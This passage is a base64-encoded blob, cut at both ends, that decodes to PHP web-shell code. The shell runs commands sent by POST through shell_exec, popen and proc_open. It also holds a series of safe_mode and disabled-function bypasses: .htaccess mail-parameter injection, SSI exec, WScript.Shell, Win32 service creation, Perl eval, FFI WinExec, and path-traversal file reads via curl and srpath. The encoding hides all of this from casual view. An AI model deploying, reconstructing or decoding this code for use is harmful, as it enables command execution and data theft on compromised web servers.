w0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiRnVuY3Rpb25zIGV4ZWMiOw0KDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0ic2hlbGxfZXhlYyIpIHsNCiAgICAgICAgICAgICAgICAkc3RyaW5nID0gc2hlbGxfZXhlYygkX1BPU1RbJ2NvbW1hbmQnXSk7DQogICAgICAgICAgICAgICAgZWNobyAkc3RyaW5nOw0KICAgICAgICAgICAgICAgIGVjaG8gIkZ1bmN0aW9ucyBzaGVsbF9leGVjIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRtZXRob2Q9PSJwb3BlbiIpIHsNCiAgICAgICAgICAgICAgICAkcHAgPSBwb3BlbigkX1BPU1RbJ2NvbW1hbmQnXSwgJ3InKTsNCiAgICAgICAgICAgICAgICAkcmVhZCA9IGZyZWFkKCRwcCwgMjA5Nik7DQogICAgICAgICAgICAgICAgZWNobyAkcmVhZDsNCiAgICAgICAgICAgICAgICBwY2xvc2UoJHBwKTsNCiAgICAgICAgICAgICAgICBlY2hvICJGdW5jdGlvbnMgcG9wZW4iOw0KICAgICAgICAgICAgICAgICAgfQ0KDQoJICBpZiAoJG1ldGhvZD09InByb2Nfb3BlbiIpIHsNCg0KDQokY29tbWFuZCAgPSBpc3NldCgkX1BPU1RbJ2NvbW1hbmQnXSkgID8gJF9QT1NUWydjb21tYW5kJ10gIDogJyc7DQoNCg0KDQovKiBMb2FkIHRoZSBjb25maWd1cmF0aW9uLiAqLw0KDQovKiBEZWZhdWx0IHNldHRpbmdzIC0tLSB0aGVzZSBzZXR0aW5ncyBzaG91bGQgYWx3YXlzIGJlIHNldCB0byBzb21ldGhpbmcuICovDQoNCi8qIE1lcmdlIHNldHRpbmdzLiAqLw0KDQpzZXNzaW9uX3N0YXJ0KCk7DQoNCiAgICBpZiAoIWVtcHR5KCRjb21tYW5kKSkgew0KICAgICAgICAvKiBTYXZlIHRoZSBjb21tYW5kIGZvciBsYXRlIHVzZSBpbiB0aGUgSmF2YVNjcmlwdC4gIElmIHRoZSBjb21tYW5kIGlzDQogICAgICAgICAqIGFscmVhZHkgaW4gdGhlIGhpc3RvcnksIHRoZW4gdGhlIG9sZCBlbnRyeSBpcyByZW1vdmVkIGJlZm9yZSB0aGUNCiAgICAgICAgICogbmV3IGVudHJ5IGlzIHB1dCBpbnRvIHRoZSBsaXN0IGF0IHRoZSBmcm9udC4gKi8NCiAgICAgICAgaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1BPU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpDQogICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bJ2hpc3RvcnknXVskaV0pOw0KDQogICAgICAgIGFycmF5X3Vuc2hpZnQoJF9TRVNTSU9OWydoaXN0b3J5J10sICRfUE9TVFsnY29tbWFuZCddKTsNCg0KICAgICAgICAvKiBOb3cgYXBwZW5kIHRoZSBjb21tbWFuZCB0byB0aGUgb3V0cHV0LiAqLw0KICAgICAgICAkX1NFU1NJT05bJ291dHB1dCddIC49ICckICcgLiAkX1BPU1RbJ2NvbW1hbmQnXSAuICJcbiI7DQoNCiAgICAgICAgLyogSW5pdGlhbGl6ZSB0aGUgY3VycmVudCB3b3JraW5nIGRpcmVjdG9yeS4gKi8NCiAgICAgICAgaWYgKGVyZWcoJ15bWzpibGFuazpdXSpjZFtbOmJsYW5rOl1dKiQnLCAkX1BPU1RbJ2NvbW1hbmQnXSkpIHsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSByZWFscGF0aCgkaW5pWydzZXR0aW5ncyddWydob21lLWRpcmVjdG9yeSddKTsNCiAgICAgICAgfSBlbHNlaWYgKGVyZWcoJ15bWzpibGFuazpdXSpjZFtbOmJsYW5rOl1dKyhbXjtdKykkJywgJF9QT1NUWydjb21tYW5kJ10sICRyZWdzKSkgew0KICAgICAgICAgICAgLyogVGhlIGN1cnJlbnQgY29tbWFuZCBpcyBhICdjZCcgY29tbWFuZCB3aGljaCB3ZSBoYXZlIHRvIGhhbmRsZQ0KICAgICAgICAgICAgICogYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4gKi8NCg0KICAgICAgICAgICAgaWYgKCRyZWdzWzFdezB9ID09ICcvJykgew0KICAgICAgICAgICAgICAgIC8qIEFic29sdXRlIHBhdGgsIHdlIHVzZSBpdCB1bmNoYW5nZWQuICovDQogICAgICAgICAgICAgICAgJG5ld19kaXIgPSAkcmVnc1sxXTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgLyogUmVsYXRpdmUgcGF0aCwgd2UgYXBwZW5kIGl0IHRvIHRoZSBjdXJyZW50IHdvcmtpbmcNCiAgICAgICAgICAgICAgICAgKiBkaXJlY3RvcnkuICovDQogICAgICAgICAgICAgICAgJG5ld19kaXIgPSAkX1NFU1NJT05bJ2N3ZCddIC4gJy8nIC4gJHJlZ3NbMV07DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8qIFRyYW5zZm9ybSAnLy4vJyBpbnRvICcvJyAqLw0KICAgICAgICAgICAgd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8uLycpICE9PSBmYWxzZSkNCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsNCg0KICAgICAgICAgICAgLyogVHJhbnNmb3JtICcvLycgaW50byAnLycgKi8NCiAgICAgICAgICAgIHdoaWxlIChzdHJwb3MoJG5ld19kaXIsICcvLycpICE9PSBmYWxzZSkNCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOw0KDQogICAgICAgICAgICAvKiBUcmFuc2Zvcm0gJ3gvLi4nIGludG8gJycgKi8NCiAgICAgICAgICAgIHdoaWxlIChwcmVnX21hdGNoKCd8L1wuXC4oPyFcLil8JywgJG5ld19kaXIpKQ0KICAgICAgICAgICAgICAgICRuZXdfZGlyID0gcHJlZ19yZXBsYWNlKCd8Lz9bXi9dKy9cLlwuKD8hXC4pfCcsICcnLCAkbmV3X2Rpcik7DQoNCiAgICAgICAgICAgIGlmICgkbmV3X2RpciA9PSAnJykgJG5ld19kaXIgPSAnLyc7DQoNCiAgICAgICAgICAgIC8qIFRyeSB0byBjaGFuZ2UgZGlyZWN0b3J5LiAqLw0KICAgICAgICAgICAgaWYgKEBjaGRpcigkbmV3X2RpcikpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N3ZCddID0gJG5ld19kaXI7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNkOiBjb3VsZCBub3QgY2hhbmdlIHRvOiAkbmV3X2RpclxuIjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICB9IGVsc2VpZiAodHJpbSgkX1BPU1RbJ2NvbW1hbmQnXSkgPT0gJ2V4aXQnKSB7DQogICAgICAgICAgICBsb2dvdXQoKTsNCiAgICAgICAgfSBlbHNlIHsNCg0KICAgICAgICAgICAgLyogVGhlIGNvbW1hbmQgaXMgbm90IGFuIGludGVybmFsIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXINCiAgICAgICAgICAgICAqIGNoYW5naW5nIHRoZSBkaXJlY3RvcnkgYW5kIHNhdmUgdGhlIG91dHB1dC4gKi8NCiAgICAgICAgICAgIGNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOw0KDQogICAgICAgICAgICAvLyBXZSBjYW5vdCB1c2UgcHV0ZW52KCkgaW4gc2FmZSBtb2RlLg0KICAgICAgICAgICAgaWYgKCFpbmlfZ2V0KCdzYWZlX21vZGUnKSkgew0KICAgICAgICAgICAgICAgIC8vIEFkdmljZSBwcm9ncmFtcyAobHMgZm9yIGV4YW1wbGUpIG9mIHRoZSB0ZXJtaW5hbCBzaXplLg0KICAgICAgICAgICAgICAgIHB1dGVudignUk9XUz0nIC4gJHJvd3MpOw0KICAgICAgICAgICAgICAgIHB1dGVudignQ09MVU1OUz0nIC4gJGNvbHVtbnMpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvKiBBbGlhcyBleHBhbnNpb24uICovDQogICAgICAgICAgICAkbGVuZ3RoID0gc3RyY3NwbigkX1BPU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOw0KICAgICAgICAgICAgJHRva2VuID0gc3Vic3RyKCRfUE9TVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsNCiAgICAgICAgICAgIGlmIChpc3NldCgkaW5pWydhbGlhc2VzJ11bJHRva2VuXSkpDQogICAgICAgICAgICAgICAgJGNvbW1hbmQgPSAkaW5pWydhbGlhc2VzJ11bJHRva2VuXSAuIHN1YnN0cigkX1BPU1RbJ2NvbW1hbmQnXSwgJGxlbmd0aCk7DQoNCiAgICAgICAgICAgICRpbyA9IGFycmF5KCk7DQogICAgICAgICAgICAkcCA9IHByb2Nfb3BlbigkX1BPU1RbJ2NvbW1hbmQnXSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5KDEgPT4gYXJyYXkoJ3BpcGUnLCAndycpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMiA9PiBhcnJheSgncGlwZScsICd3JykpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlvKTsNCg0KICAgICAgICAgICAgLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovDQogICAgICAgICAgICB3aGlsZSAoIWZlb2YoJGlvWzFdKSkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFTlRfQ09NUEFULCAnVVRGLTgnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLw0KICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRpb1syXSkpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRU5UX0NPTVBBVCwgJ1VURi04Jyk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZjbG9zZSgkaW9bMV0pOw0KICAgICAgICAgICAgZmNsb3NlKCRpb1syXSk7DQogICAgICAgICAgICBwcm9jX2Nsb3NlKCRwKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qIEJ1aWxkIHRoZSBjb21tYW5kIGhpc3RvcnkgZm9yIHVzZSBpbiB0aGUgSmF2YVNjcmlwdCAqLw0KICAgIGlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpIHsNCiAgICAgICAgJGpzX2NvbW1hbmRfaGlzdCA9ICciIic7DQogICAgfSBlbHNlIHsNCiAgICAgICAgJGVzY2FwZWQgPSBhcnJheV9tYXAoJ2FkZHNsYXNoZXMnLCAkX1NFU1NJT05bJ2hpc3RvcnknXSk7DQogICAgICAgICRqc19jb21tYW5kX2hpc3QgPSAnIiIsICInIC4gaW1wbG9kZSgnIiwgIicsICRlc2NhcGVkKSAuICciJzsNCiAgICB9DQogICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgCQl9DQoNCg0KCQlicmVhazsNCiAgY2FzZSAndGVzdDEwJzoNCiAgQGVycm9yX2xvZygkX1BPU1RbJ3Rlc3QxMF9jb250ZW50J10sIDMsInBocDovLy4uLy4uLyIuJF9QT1NUWyd0ZXN0MTBfZmlsZSddKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxMSc6DQogIGlmKGZpbGVfZXhpc3RzKCIuL3Jlc3VsdC50eHQiKSAmJiBmaWxlX2V4aXN0cygiLi8uaHRhY2Nlc3MiKSkNCiAgIHsNCiAgIEB1bmxpbmsoIi4vLmh0YWNjZXNzIik7DQogICBAdW5saW5rKCIuL3Jlc3VsdC50eHQiKTsNCiAgIH0NCiAgIGlmICgkaGFuZGxlID0gQGZvcGVuKCIuLy5odGFjY2VzcyIsICd3JykpIHsgQGZ3cml0ZSgkaGFuZGxlLCAicGhwX3ZhbHVlIG1haWwuZm9yY2VfZXh0cmFfcGFyYW1ldGVycyAnLXQgJiYgIi4kX1BPU1RbJ3Rlc3QxMV9jbWQnXS4iID4gIi5kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkuIi9yZXN1bHQudHh0JyIpOyBtYWlsKCIiLCAiIiwgIiIpOyB9DQogICAvL3doaWxlKCFmaWxlX2V4aXN0cyhkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkuIi9yZXN1bHQudHh0IikpIHNsZWVwKDEpOw0KICAgaWYoJGxpbmVzKSBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRsaW5lKTsgfQ0KICBicmVhazsNCiAgY2FzZSAndGVzdDEyJzoNCiAgaWYgKCRoYW5kbGUgPSBAZm9wZW4oIi4vLmh0YWNjZXNzIiwgJ3cnKSkgeyBAZndyaXRlKCRoYW5kbGUsICJBZGRUeXBlIHRleHQvaHRtbCAuc2h0bWxcclxuQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5zaHRtbFxyXG5PcHRpb25zICtJbmNsdWRlcyIpOyB9DQogIGlmICgkaGFuZGxlID0gQGZvcGVuKCIuL2NtZHNzaS5zaHRtbCIsICd3JykpIHsgQGZ3cml0ZSgkaGFuZGxlLCAnPCEtLSNleGVjIGNtZD0iJy4kX1BPU1RbJ3Rlc3QxMl9jbWQnXS4nIi0tPicpOyB9DQogIC8vIHVybF9mb3BlbiDs7uPl8iDv7vDl5+Dy/CD98vMg9fDl7fwuLi4g8u7j5OAg7/Du8fLuIO7y6vD74uDy/CDx8fvr6vMNCiAgQGluY2x1ZGUoImh0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS5ydHJpbShkaXJuYW1lKCRfU0VSVkVSWydQSFBfU0VMRiddKSwnL1xcJykuIi9jbWRzc2kuc2h0bWwiKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxMyc6DQogICR0bXAgPSAnJzsNCiAgaWYoQGlzX3dyaXRhYmxlKCRfRU5WWydUTVAnXSkpICR0bXA9JF9FTlZbJ1RNUCddOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShpbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpKSkgJHRtcD1pbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShpbmlfZ2V0KCd1cGxvYWRfdG1wX2RpcicpKSkgJHRtcD1pbmlfZ2V0KCd1cGxvYWRfdG1wX2RpcicpOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShkaXJuYW1lKF9fRklMRV9fKSkpICR0bXA9ZGlybmFtZShfX0ZJTEVfXyk7DQogIGVsc2UgYnJlYWs7DQogIEB1bmxpbmsoJHRtcC4nL3Jlc3VsdF90ZXN0MTMudHh0Jyk7DQogICR3c2NyaXB0ID0gbmV3IENPTSgnd3NjcmlwdC5zaGVsbCcpOw0KICAkd3NjcmlwdC0+UnVuKCdjbWQuZXhlIC9jICInLiRfUE9TVFsndGVzdDEzX2NtZCddLiciID4gJy4kdG1wLicvcmVzdWx0X3Rlc3QxMy50eHQnKTsNCiAgd2hpbGUoIWZpbGVfZXhpc3RzKCR0bXAuJy9yZXN1bHRfdGVzdDEzLnR4dCcpKSBzbGVlcCgxKTsNCiAgJGxpbmVzID0gQGZpbGUgKCR0bXAuJy9yZXN1bHRfdGVzdDEzLnR4dCcpOw0KICBpZigkbGluZXMpIGZvcmVhY2ggKCRsaW5lcyBhcyAkbGluZSkgeyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxpbmUpOyB9DQogIEB1bmxpbmsoJHRtcC4nL3Jlc3VsdF90ZXN0MTMudHh0Jyk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0MTQnOg0KICAkaW9uY3ViZSA9IEBpb25jdWJlX3JlYWRfZmlsZSgkX1BPU1RbJ3Rlc3QxNF9jbWQnXSk7DQogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaW9uY3ViZSk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0MTUnOg0KICAkdG1wID0gJyc7DQogIGlmKEBpc193cml0YWJsZSgkX0VOVlsnVE1QJ10pKSAkdG1wPSRfRU5WWydUTVAnXTsNCiAgZWxzZWlmKEBpc193cml0ZWFibGUoaW5pX2dldCgnc2Vzc2lvbi5zYXZlX3BhdGgnKSkpICR0bXA9aW5pX2dldCgnc2Vzc2lvbi5zYXZlX3BhdGgnKTsNCiAgZWxzZWlmKEBpc193cml0ZWFibGUoaW5pX2dldCgndXBsb2FkX3RtcF9kaXInKSkpICR0bXA9aW5pX2dldCgndXBsb2FkX3RtcF9kaXInKTsNCiAgZWxzZWlmKEBpc193cml0ZWFibGUoZGlybmFtZShfX0ZJTEVfXykpKSAkdG1wPWRpcm5hbWUoX19GSUxFX18pOw0KICBlbHNlIGJyZWFrOw0KICBAdW5saW5rKCR0bXAuJy9yZXN1bHRfdGVzdDE1LnR4dCcpOw0KICBAd2luX3NoZWxsX2V4ZWN1dGUoImNtZC5leGUiLCIiLCIvYyAiLiRfUE9TVFsndGVzdDE1X2NtZCddLiIgPiAiLiR0bXAuIi9yZXN1bHRfdGVzdDE1LnR4dCIpOw0KICB3aGlsZSghZmlsZV9leGlzdHMoJHRtcC4nL3Jlc3VsdF90ZXN0MTUudHh0JykpIHNsZWVwKDEpOw0KICAkbGluZXMgPSBAZmlsZSAoJHRtcC4nL3Jlc3VsdF90ZXN0MTUudHh0Jyk7DQogIGlmKCRsaW5lcykgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lKSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbGluZSk7IH0NCiAgQHVubGluaygkdG1wLicvcmVzdWx0X3Rlc3QxNS50eHQnKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxNic6DQogICR0bXAgPSAnJzsNCiAgaWYoQGlzX3dyaXRhYmxlKCRfRU5WWydUTVAnXSkpICR0bXA9JF9FTlZbJ1RNUCddOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShpbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpKSkgJHRtcD1pbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpOw0KICBpZihAaXNfd3JpdGVhYmxlKGluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJykpKSAkdG1wPWluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJyk7DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGRpcm5hbWUoX19GSUxFX18pKSkgJHRtcD1kaXJuYW1lKF9fRklMRV9fKTsNCiAgZWxzZSBicmVhazsNCiAgJG5hbWU9JHRtcC4iXFwiLnVuaXFpZCgpOw0KICAkbj11bmlxaWQoKTsNCiAgJGNtZD0oZW1wdHkoJF9TRVJWRVJbJ0NPTVNQRUMnXSkpPydjOlxcd2luZG93c1xcc3lzdGVtMzJcXGNtZC5leGUnOiRfU0VSVkVSWydDT01TUEVDJ107DQogIHdpbjMyX2NyZWF0ZV9zZXJ2aWNlKGFycmF5KCdzZXJ2aWNlJz0+JG4sJ2Rpc3BsYXknPT4kbiwncGF0aCc9PiRjbWQsJ3BhcmFtcyc9PiIvYyAiLiRfUE9TVFsndGVzdDE2X2NtZCddLiIgPlwiJG5hbWVcIiIpKTsNCiAgd2luMzJfc3RhcnRfc2VydmljZSgkbik7DQogIHdpbjMyX3N0b3Bfc2VydmljZSgkbik7DQogIHdpbjMyX2RlbGV0ZV9zZXJ2aWNlKCRuKTsNCiAgd2hpbGUoIWZpbGVfZXhpc3RzKCRuYW1lKSkgc2xlZXAoMSk7DQogICRleGVjPWZpbGVfZ2V0X2NvbnRlbnRzKCRuYW1lKTsNCiAgdW5saW5rKCRuYW1lKTsNCiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRleGVjKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxNyc6DQogICRfUE9TVFsndGVzdDE3X2NtZCddID0gc3RyX3JlcGxhY2UoJ1xcJywnXFxcXCcsJF9QT1NUWyd0ZXN0MTdfY21kJ10pOw0KICAkcGVybCA9IG5ldyBQZXJsKCk7DQogICRwZXJsLT5ldmFsKCdwcmludCBgJy4kX1BPU1RbJ3Rlc3QxN19jbWQnXS4nYCcpOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDE4JzoNCiAgaWYoQGlzX3dyaXRhYmxlKCRfRU5WWydUTVAnXSkpICR0bXA9JF9FTlZbJ1RNUCddOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShpbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpKSkgJHRtcD1pbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpOw0KICBpZihAaXNfd3JpdGVhYmxlKGluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJykpKSAkdG1wPWluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJyk7DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGRpcm5hbWUoX19GSUxFX18pKSkgJHRtcD1kaXJuYW1lKF9fRklMRV9fKTsNCiAgZWxzZSBicmVhazsNCiAgJG5hbWU9JHRtcC4iXFwiLnVuaXFpZCgpOw0KICAkYXBpPW5ldyBmZmkoIltsaWI9J2tlcm5lbDMyLmRsbCddIGludCBXaW5FeGVjKGNoYXIgKkFQUCxpbnQgU1cpOyIpOw0KICAkcmVzPSRhcGktPldpbkV4ZWMoImNtZC5leGUgL2MgIi4kX1BPU1RbJ3Rlc3QxOF9jbWQnXS4iID5cIiRuYW1lXCIiLDApOw0KICB3aGlsZSghZmlsZV9leGlzdHMoJG5hbWUpKSBzbGVlcCgxKTsNCiAgJGV4ZWM9ZmlsZV9nZXRfY29udGVudHMoJG5hbWUpOw0KICB1bmxpbmsoJG5hbWUpOw0KICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGV4ZWMpOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDE5JzoNCg0KaWYoRW1wdHkoJHRlc3QxOSkgYU5kIEVtcHR5KCRfR0VUWyd0ZXN0MTknXSkgYU5kIEVtcHR5KCRfUE9TVFsndGVzdDE5J10pKSBkaUUoIlxuIi4ka2FyYXRvbmlrKTsNCg0KaWYoIWVtcHR5KCRfR0VUWyd0ZXN0MTknXSkpICRmaWxlPSRfR0VUWyd0ZXN0MTknXTsNCmlmKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxOSddKSkgJGZpbGU9JF9QT1NUWyd0ZXN0MTknXTsNCg0KDQppZigoY3VybF9leGVjKGN1cmxfaW5pdCgiZmlsZTpodHRwOi8vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi4kZmlsZSkpKSBhTmQgIWVtcHRZKCRmaWxlKSkgZGllKCI8Qj48YnI+Tmd1IHRyb25nIHJ1bmc8L0I+PC9GT05UPiIpOw0KZWxzZWlmKCFlbXB0WSgkZmlsZSkpIGRpZSgiPEZPTlQgQ09MT1I9XCJSRURcIj48Q0VOVEVSPlNvcnJ5Li4uIEZpbGUNCjxCPiIuaHRtbHNwZWNpYWxjaGFycygkZmlsZSkuIjwvQj4gZG9lc24ndCBleGlzdHMgb3IgeW91IGRvbid0IGhhdmUNCnBlcm1pc3Npb25zLjwvQ0VOVEVSPjwvRk9OVD4iKTtCZWFyazsNCmNhc2UgJ3Rlc3QyMCc6DQpAb2JfY2xlYW4oKTsNCiAgJGVycm9yX3JlcG9ydGluZyA9IEBpbmlfZ2V0KCdlcnJvcl9yZXBvcnRpbmcnKTsNCiAgZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOw0KICBAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAxKTsNCiAgQGluaV9hbHRlcigiZGlzcGxheV9lcnJvcnMiLCAxKTsNCiAgJHN0cj1AZm9wZW4oJF9QT1NUWyd0ZXN0MjBfZmlsZSddLCJyIik7DQogIHdoaWxlKCFmZW9mKCRzdHIpKXtwcmludCBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRzdHIpKTt9DQogIGZjbG9zZSgkc3RyKTsNCiAgZXJyb3JfcmVwb3J0aW5nKCRlcnJvcl9yZXBvcnRpbmcpOw0KICBicmVhazsNCmNhc2UgJ3Rlc3QyMSc6DQokZmlsZW49JF9QT1NUWyd0ZXN0MjFfZmlsZSddOw0KQGZvcGVuKCdzcnBhdGg6Ly8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8nLiRfUE9TVFsndGVzdDIxX2ZpbGUnXSwiYSIpOw0KaWYgKGZpbGVfZXhpc3RzKCRmaWxlbikpDQp7DQplY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MSddOw0KfQ0KZWxzZQ0KZWNobyAiQ2FuJ3Qgd3JpdGUgZmlsZSI7DQoNCiAgYnJlYWs7DQpjYXNlICd0ZXN0MjInOg0KICAgICAgIGVjaG8gIlBIUCByZWFscGF0aCgpIGxpc3RpbmcgZGlyZWN0b3J5IFNhZmVfbW9kZSBieXBhc3MgRXhwbG9pdFxyXG5cclxuIjsNCiAgICAgICBpZighJGRpcil7JGRpcj0nL2V0Yy8nO307DQogICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnZW5kX3JscGgnXSkpeyRlbmRfcmxwaD0kX1BPU1RbJ2VuZF9ybHBoJ107fWVsc2V7JGVuZF9ybHBoPScnO30NCiAgICAgICBpZighZW1wdHkoJF9QT1NUWyduX3JscGgnXSkpeyRuX3JscGg9JF9QT1NUWyduX3JscGgnXTt9ZWxzZXskbl9ybHBoPSczJzt9DQoNCiAgICAgICBpZigkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4nLycpKXtlY2hvICRyZWFscGF0aC4iXHJcbiI7fQ0KICAgICAgIGlmKCRlbmRfcmxwaCE9JycgJiYgJHJlYWxwYXRoPXJlYWxwYXRoKCRkaXIuJy8nLiRlbmRfcmxwaCkpe2VjaG8gJHJlYWxwYXRoLiJcclxuIjt9DQogICAgICAgZm9yZWFjaCgkcHJlc2V0c19ybHBoIGFzICRwcmVzZXRfcmxwaCl7DQogICAgICAgICAgIGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLicvJy4kcHJlc2V0X3JscGguJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30NCiAgICAgICB9DQogICAgICAgZm9yKCRpPTA7ICRpIDwgc3RybGVuKCRjaGFyc19ybHBoKTsgJGkrKyl7DQogICAgICAgICAgaWYoJHJlYWxwYXRoPXJlYWxwYXRoKCRkaXIuIi97JGNoYXJzX3JscGhbJGldfSIuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30NCiAgICAgICAgICBpZigkbl9ybHBoPD0xKXtjb250aW51ZTt9Ow0KICAgICAgICAgIGZvcigkaj0wOyAkaiA8IHN0cmxlbigkY2hhcnNfcmxwaCk7ICRqKyspew0KICAgICAgICAgICAgIGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLiIveyRjaGFyc19ybHBoWyRpXX17JGNoYXJzX3JscGhbJGpdfSIuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30NCiAgICAgICAgICAgICBpZigkbl9ybHBoPD0yKXtjb250aW51ZTt9Ow0KICAgICAgCSAgICAgZm9yKCR4PTA7ICR4IDwgc3RybGVuKCRjaGFyc19ybHBoKTsgJHgrKyl7DQogICAgICAgICAgICAgICAgaWYoJHJlYWxwYXRoPXJlYWxwYXRoKCRkaXIuIi97JGNoYXJzX3JscGhbJGldfXskY2hhcnNfcmxwaFskal19eyRjaGFyc19ybHBoWyR4XX0iLiRlbmRfcmxwaCkpe2VjaG8gJHJlYWxwYXRoLiJcclxuIjt9DQogICAgICAgICAgICAgICAgaWYoJG5fcmxwaDw9Myl7Y29udGludWU7fTsNCiAgICAgICAgICAgICAgICBmb3IoJHk9MDsgJHkgPCBzdHJsZW4oJGNoYXJzX3JscGgpOyAkeSsrKXsNCiAgICAgIAkgICAgICAgICAgIGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLiIveyRjaGFyc19ybHBoWyRpXX17JGNoYXJzX3JscGhbJGpdfXskY2hhcnNfcmxwaFskeF19eyRjaGFyc19ybHBoWyR5XX0iLiRlbmRfcmxwaCkpe2VjaG8gJHJlYWxwYXRoLiJcclxuIjt9DQogICAgICAJICAgICAgICAgICBpZigkbl9ybHBoPD00KXtjb250aW51ZTt9Ow0KICAgICAgCSAgICAgICAgICAgZm9yKCR6PTA7